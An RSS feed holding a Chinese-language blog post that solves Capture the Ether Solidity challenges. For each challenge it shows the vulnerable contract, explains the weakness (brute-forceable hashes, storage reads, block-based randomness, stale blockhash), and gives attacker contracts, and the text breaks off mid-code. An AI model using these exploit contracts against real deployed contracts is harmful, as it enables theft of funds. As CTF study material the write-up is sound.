<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Banana69</title>
        <link>https://paragraph.com/@banana69</link>
        <description>interested in blockchain security</description>
        <lastBuildDate>Sat, 11 Jul 2026 09:21:40 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>Banana69</title>
            <url>https://storage.googleapis.com/papyrus_images/8043351832f75362c39765d7794bedd156ecdfed0ef711b432b474e94f62f86b.png</url>
            <link>https://paragraph.com/@banana69</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Capture the ether]]></title>
            <link>https://paragraph.com/@banana69/capture-the-ether</link>
            <guid>KxcFxEDtarFafMwFMrLj</guid>
            <pubDate>Wed, 23 Mar 2022 07:24:02 GMT</pubDate>
            <description><![CDATA[Guess the secret numberpragma solidity ^0.4.21; contract GuessTheSecretNumberChallenge { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; function GuessTheSecretNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (keccak256(n) == answerHash) { msg.sender.transfer(2 ether); } } ...]]></description>
            <content:encoded><![CDATA[<h3 id="h-guess-the-secret-number" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Guess the secret number</h3><pre data-type="codeBlock" text="pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.4.21;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GuessTheSecretNumberChallenge</span> </span>{
    <span class="hljs-keyword">bytes32</span> answerHash <span class="hljs-operator">=</span> <span class="hljs-number">0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">GuessTheSecretNumberChallenge</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isComplete</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">guess</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span> n</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);

        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">keccak256</span>(n) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> answerHash) {
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(2 <span class="hljs-literal">ether</span>);
        }
    }
}
</code></pre><p>这道题目需要猜一个uint8的变量经过keccak256后的值与answerHash相等，由于uint8的范围是0-255，所以写一个爆破的智能合约就可以解出最后的答案</p><pre data-type="codeBlock" text="//爆破合约
contract crack {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    uint8 public result;
   function crackresult() returns (uint8) {
     for (uint8 i = 0; i &lt;= 255; i++) {
         if (keccak256(i) == answerHash) {
             result = i;
             return i;
         }
     }
}
}
//result = 170
"><code><span class="hljs-comment">//爆破合约</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">crack</span> </span>{
    <span class="hljs-keyword">bytes32</span> answerHash <span class="hljs-operator">=</span> <span class="hljs-number">0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365</span>;
    <span class="hljs-keyword">uint8</span> <span class="hljs-keyword">public</span> result;
   <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">crackresult</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint8</span></span>) </span>{
     <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint8</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">255</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
         <span class="hljs-keyword">if</span> (<span class="hljs-built_in">keccak256</span>(i) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> answerHash) {
             result <span class="hljs-operator">=</span> i;
             <span class="hljs-keyword">return</span> i;
         }
     }
}
}
<span class="hljs-comment">//result = 170</span>
</code></pre><h3 id="h-guess-the-random-number" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Guess the random number</h3><pre data-type="codeBlock" text="pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.4.21;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GuessTheRandomNumberChallenge</span> </span>{
    <span class="hljs-keyword">uint8</span> answer;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">GuessTheRandomNumberChallenge</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
        answer <span class="hljs-operator">=</span> <span class="hljs-keyword">uint8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>), <span class="hljs-built_in">now</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isComplete</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">guess</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span> n</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);

        <span class="hljs-keyword">if</span> (n <span class="hljs-operator">=</span><span class="hljs-operator">=</span> answer) {
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(2 <span class="hljs-literal">ether</span>);
        }
    }
}
</code></pre><p>这道题中的answer在构造函数中进行了初始化，所以根据solidity的存储结构，变量answer的值被存储在slot0中，此时的answer作为状态变量存储在storage中，所以可以使用web3js在微storage中读取</p><pre data-type="codeBlock" text="web3.js.getStorageAt(&quot;contract Address&quot;, 0, console.log)
"><code>web3.js.getStorageAt(<span class="hljs-string">"contract Address"</span>, <span class="hljs-number">0</span>, console.log)
</code></pre><h3 id="h-guess-the-new-number" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Guess the new number</h3><pre data-type="codeBlock" text="pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract attacker {
    function attack() public payable {
        uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now));
        GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x4779f53F8141Ab6Aa7414CAB3A2184Cc4c32C56A);
        target.guess.value(1 ether)(result);
    }

    function () public payable {
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.4.21;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GuessTheNewNumberChallenge</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">GuessTheNewNumberChallenge</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isComplete</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">guess</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span> n</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
        <span class="hljs-keyword">uint8</span> answer <span class="hljs-operator">=</span> <span class="hljs-keyword">uint8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>), <span class="hljs-built_in">now</span>));

        <span class="hljs-keyword">if</span> (n <span class="hljs-operator">=</span><span class="hljs-operator">=</span> answer) {
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(2 <span class="hljs-literal">ether</span>);
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">attacker</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">uint8</span> result <span class="hljs-operator">=</span> <span class="hljs-keyword">uint8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>), <span class="hljs-built_in">now</span>));
        GuessTheNewNumberChallenge target <span class="hljs-operator">=</span> GuessTheNewNumberChallenge(<span class="hljs-number">0x4779f53F8141Ab6Aa7414CAB3A2184Cc4c32C56A</span>);
        target.guess.<span class="hljs-built_in">value</span>(<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>)(result);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    }
}
</code></pre><p>这道题需要获取到前一个区块的hash与当前的时间戳，由于每个区块包含很多个交易，而同一个区块的交易的前一个区块hash与时间戳都是相等的，所以可以通过部署另一个合约，从该合约调用目标合约中的guess函数使这俩个交易在一个块内。</p><h3 id="h-predict-the-future" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">predict the future</h3><pre data-type="codeBlock" text="pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);
        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number &gt; settlementBlockNumber);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.4.21;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PredictTheFutureChallenge</span> </span>{
    <span class="hljs-keyword">address</span> guesser;
    <span class="hljs-keyword">uint8</span> guess;
    <span class="hljs-keyword">uint256</span> settlementBlockNumber;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">PredictTheFutureChallenge</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isComplete</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">lockInGuess</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span> n</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(guesser <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
        guesser <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        guess <span class="hljs-operator">=</span> n;
        settlementBlockNumber <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">settle</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> guesser);
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">></span> settlementBlockNumber);
        <span class="hljs-keyword">uint8</span> answer <span class="hljs-operator">=</span> <span class="hljs-keyword">uint8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>), <span class="hljs-built_in">now</span>)) <span class="hljs-operator">%</span> <span class="hljs-number">10</span>;
        guesser <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        <span class="hljs-keyword">if</span> (guess <span class="hljs-operator">=</span><span class="hljs-operator">=</span> answer) {
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(2 <span class="hljs-literal">ether</span>);
        }
    }
}
</code></pre><p>这道题生成随机数的方式与上一题相同，不同点在于需要在<code>lockInGuess</code>函数处输入guess的值，然后<code>settlementBlockNumber</code>函数限制了在<code>settle()</code>函数中生成hash的块必须在<code>lockInGuess</code>块之后，所以无法直接调用<code>settle()</code>函数，由于最后获取hash值的方法为模10运算，因此answer的范围是0-9，因此可以利用爆破的方法来解决这道题。</p><p>思路：</p><ul><li><p>由于题目中锁定用户用的是<code>msg.sender</code>,所以需要部署一个攻击合约来随便猜一个数字，首先在攻击合约中调用<code>lockInGuess</code>函数，将猜的数字作为该函数的参数发送。</p></li><li><p>调用攻击合约中的爆破函数计算hash值与上一步猜的数字是否相等，当此块的信息得到的answer与我们猜的guess相同时我们再调用settle函数，以免guesser被清零。</p></li></ul><p>攻击合约：</p><pre data-type="codeBlock" text="contract attacker {
    PredictTheFutureChallenge target;
    uint public result;
    function attacker() public payable {
        target = PredictTheFutureChallenge(0x1B67a75C3A4754d2586697722C36f181B7b82f5d);
        target.lockInGuess.value(1 ether)(8);
    }
    
    function exploit() public payable {
        result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
            if (result == 8) {
            target.settle();
        }
    }
    function () public payable {
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">attacker</span> </span>{
    PredictTheFutureChallenge target;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> result;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attacker</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        target <span class="hljs-operator">=</span> PredictTheFutureChallenge(<span class="hljs-number">0x1B67a75C3A4754d2586697722C36f181B7b82f5d</span>);
        target.lockInGuess.<span class="hljs-built_in">value</span>(<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>)(<span class="hljs-number">8</span>);
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exploit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        result <span class="hljs-operator">=</span> <span class="hljs-keyword">uint8</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>), <span class="hljs-built_in">now</span>)) <span class="hljs-operator">%</span> <span class="hljs-number">10</span>;
            <span class="hljs-keyword">if</span> (result <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">8</span>) {
            target.settle();
        }
    }
    <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    }
}
</code></pre><h3 id="h-predict-the-block-hash" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Predict the block hash</h3><pre data-type="codeBlock" text="pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);
        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number &gt; settlementBlockNumber);
        bytes32 answer = block.blockhash(settlementBlockNumber);
        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.4.21;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PredictTheBlockHashChallenge</span> </span>{
    <span class="hljs-keyword">address</span> guesser;
    <span class="hljs-keyword">bytes32</span> guess;
    <span class="hljs-keyword">uint256</span> settlementBlockNumber;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">PredictTheBlockHashChallenge</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isComplete</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">lockInGuess</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> hash</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(guesser <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
        guesser <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        guess <span class="hljs-operator">=</span> hash;
        settlementBlockNumber <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">settle</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> guesser);
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">></span> settlementBlockNumber);
        <span class="hljs-keyword">bytes32</span> answer <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">blockhash</span>(settlementBlockNumber);
        guesser <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        <span class="hljs-keyword">if</span> (guess <span class="hljs-operator">=</span><span class="hljs-operator">=</span> answer) {
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(2 <span class="hljs-literal">ether</span>);
        }
    }
}
</code></pre><p>这道题与上一题基本类似，不一样的地方在于需要猜当前块的 hash，但是对于<code>block.blockhash</code>这个函数，可以获取给定区块号的 <strong>hash</strong> 值，但只支持最近的 256 个区块，对于 256 个区块之外的区块，<code>block.blockhash</code>函数都将返回 0，所以可以先传递 <code>guess</code>为 0，然后等待 256 个区块再调用<code>settle</code>函数即可，具体代码如下：</p><pre data-type="codeBlock" text="pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number &gt; settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract attacker {

    PredictTheBlockHashChallenge target;
    uint public result;
    uint public num;
    function attacker() public payable {
        target = PredictTheBlockHashChallenge(0xCF221473d9F6Ae7b95D47710776f5e7733C745F3);
        target.lockInGuess.value(1 ether)(0);
        num = block.number
    }
    function exploit() public payable {
                    if(block.number - num &gt; 256) {
                target.settle();
    }
    }
    function () public payable {

    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.4.21;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PredictTheBlockHashChallenge</span> </span>{
    <span class="hljs-keyword">address</span> guesser;
    <span class="hljs-keyword">bytes32</span> guess;
    <span class="hljs-keyword">uint256</span> settlementBlockNumber;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">PredictTheBlockHashChallenge</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isComplete</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">lockInGuess</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> hash</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(guesser <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
